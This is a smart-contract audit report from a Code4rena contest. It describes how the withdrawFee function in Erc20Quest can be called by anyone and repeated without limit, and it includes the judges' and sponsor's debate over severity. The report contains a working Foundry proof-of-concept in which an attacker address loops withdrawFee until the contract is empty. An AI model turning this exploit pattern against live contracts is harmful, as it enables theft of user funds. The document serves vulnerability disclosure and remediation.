Protocol fees can be withdrawn multiple times in Erc20Quest

[code423n4]

Lines of code

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Erc20Quest.sol#L102-L104

Vulnerability details

The withdrawFee function present in the Erc20Quest contract can be used to withdraw protocol fees after a quest has ended, which are sent to the protocol fee recipient address:

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Erc20Quest.sol#L102-L104

function withdrawFee() public onlyAdminWithdrawAfterEnd {
    IERC20(rewardToken).safeTransfer(protocolFeeRecipient, protocolFee());
}

This function doesn't provide any kind of protection and can be called multiple times, which will send more tokens than intended to the protocol fee recipient, stealing funds from the contract.

Impact

The withdrawFee function can be called multiples after a quest has ended, potentially stealing funds from other people. The contract may have funds from unclaimed receipts (i.e. users that have completed the quest, redeemed their receipt but haven't claimed their rewards yet) and remaining tokens from participants who didn't complete the quest, which can be claimed back by the owner of the quest.

Note also that the onlyAdminWithdrawAfterEnd modifier, even though it indicates that an "admin" should be allowed to call this function, only validates the quest end time and fails to provide any kind of access control:

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Quest.sol#L76-L79

modifier onlyAdminWithdrawAfterEnd() {
    if (block.timestamp < endTime) revert NoWithdrawDuringClaim();
    _;
}

This means that anyone could call this function, so even if the quest owner or the protocol fee recipient behave correctly, a griefer could potentially call this function right after the quest end time to remove all (or most) of the funds from the contract.

PoC

In the following demonstration, the withdrawFee function is called multiple times by a bad actor to remove all tokens from the quest contract.

contract AuditTest is Test {
    address deployer;
    uint256 signerPrivateKey;
    address signer;
    address royaltyRecipient;
    address minter;
    address protocolFeeRecipient;

    QuestFactory factory;
    ReceiptRenderer receiptRenderer;
    RabbitHoleReceipt receipt;
    TicketRenderer ticketRenderer;
    RabbitHoleTickets tickets;
    ERC20 token;

    function setUp() public {
        deployer = makeAddr("deployer");
        signerPrivateKey = 0x123;
        signer = vm.addr(signerPrivateKey);
        vm.label(signer, "signer");
        royaltyRecipient = makeAddr("royaltyRecipient");
        minter = makeAddr("minter");
        protocolFeeRecipient = makeAddr("protocolFeeRecipient");

        vm.startPrank(deployer);

        // Receipt
        receiptRenderer = new ReceiptRenderer();
        RabbitHoleReceipt receiptImpl = new RabbitHoleReceipt();
        receipt = RabbitHoleReceipt(
            address(new ERC1967Proxy(address(receiptImpl), ""))
        );
        receipt.initialize(
            address(receiptRenderer),
            royaltyRecipient,
            minter,
            0
        );

        // factory
        QuestFactory factoryImpl = new QuestFactory();
        factory = QuestFactory(
            address(new ERC1967Proxy(address(factoryImpl), ""))
        );
        factory.initialize(signer, address(receipt), protocolFeeRecipient);
        receipt.setMinterAddress(address(factory));

        // tickets
        ticketRenderer = new TicketRenderer();
        RabbitHoleTickets ticketsImpl = new RabbitHoleTickets();
        tickets = RabbitHoleTickets(
            address(new ERC1967Proxy(address(ticketsImpl), ""))
        );
        tickets.initialize(
            address(ticketRenderer),
            royaltyRecipient,
            minter,
            0
        );

        // ERC20 token
        token = new ERC20("Mock ERC20", "MERC20");
        factory.setRewardAllowlistAddress(address(token), true);

        vm.stopPrank();
    }

    function signReceipt(address account, string memory questId)
        internal
        view
        returns (bytes32 hash, bytes memory signature)
    {
        hash = keccak256(abi.encodePacked(account, questId));
        bytes32 message = ECDSA.toEthSignedMessageHash(hash);
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(signerPrivateKey, message);
        signature = abi.encodePacked(r, s, v);
    }

    function claimReceipt(address account, string memory questId) internal {
        (bytes32 hash, bytes memory signature) = signReceipt(account, questId);
        vm.prank(account);
        factory.mintReceipt(questId, hash, signature);
    }
    
    function test_Erc20Quest_ProtocolFeeWithdrawMultipleTimes() public {
        address alice = makeAddr("alice");
        address attacker = makeAddr("attacker");

        uint256 startTime = block.timestamp + 1 hours;
        uint256 endTime = startTime + 1 hours;
        uint256 totalParticipants = 1;
        uint256 rewardAmountOrTokenId = 1 ether;
        string memory questId = "a quest";

        // create, fund and start quest
        vm.startPrank(deployer);

        Erc20Quest quest = Erc20Quest(
            factory.createQuest(
                address(token),
                endTime,
                startTime,
                totalParticipants,
                rewardAmountOrTokenId,
                "erc20",
                questId
            )
        );

        uint256 rewards = totalParticipants * rewardAmountOrTokenId;
        uint256 fees = (rewards * factory.questFee()) / 10_000;
        deal(address(token), address(quest), rewards + fees);
        quest.start();

        vm.stopPrank();

        // simulate at least one user claims a receipt
        claimReceipt(alice, questId);

        // simulate time elapses until the end of the quest
        vm.warp(endTime);

        // The following can be executed by attacker (griefer) or by the fee recipient
        vm.startPrank(attacker);

        uint256 protocolFee = quest.protocolFee();
        uint256 withdrawCalls = (rewards + fees) / protocolFee;

        for (uint256 i = 0; i < withdrawCalls; i++) {
            quest.withdrawFee();
        }

        // Fee recipient has 100% of the funds
        assertEq(token.balanceOf(protocolFeeRecipient), rewards + fees);
        assertEq(token.balanceOf(address(quest)), 0);

        vm.stopPrank();
    }
}

Recommendation

Add a flag to the contract to indicate if protocol fees have been already withdrawn. Add a check to prevent the function from being called again.

[c4-judge]

kirk-baird marked the issue as duplicate of #23

[c4-judge]

kirk-baird marked the issue as satisfactory

[c4-judge]

kirk-baird marked the issue as selected for report

[c4-judge]

kirk-baird marked the issue as primary issue

[c4-sponsor]

waynehoover marked the issue as disagree with severity

[waynehoover]

While I agree that this is an issue, but not a high risk issue. I expect high risk issues to be issues that can be called by anyone, not owners.

As owners there are plenty of ways we can sabotage our contracts (for example via the set* functions) it is up to the owner to be sure they are executing the function correctly and in the correct context.

The owner understands how this function works, so they can be sure not to call it multiple times.

[gzeoneth]

While I agree that this is an issue, but not a high risk issue. I expect high risk issues to be issues that can be called by anyone, not owners.

As owners there are plenty of ways we can sabotage our contracts (for example via the set* functions) it is up to the owner to be sure they are executing the function correctly and in the correct context.

The owner understands how this function works, so they can be sure not to call it multiple times.

onlyAdminWithdrawAfterEnd is not onlyAdmin, anyone can call withdrawFee after end

[kirk-baird]

I agree with @gzeoneth This issue is a combination of two sub issues

• Anyone can call withdrawFee()
• withdrawFee() can be called multiple times

Allowing it to be called by anyone is sufficient to rate it high severity.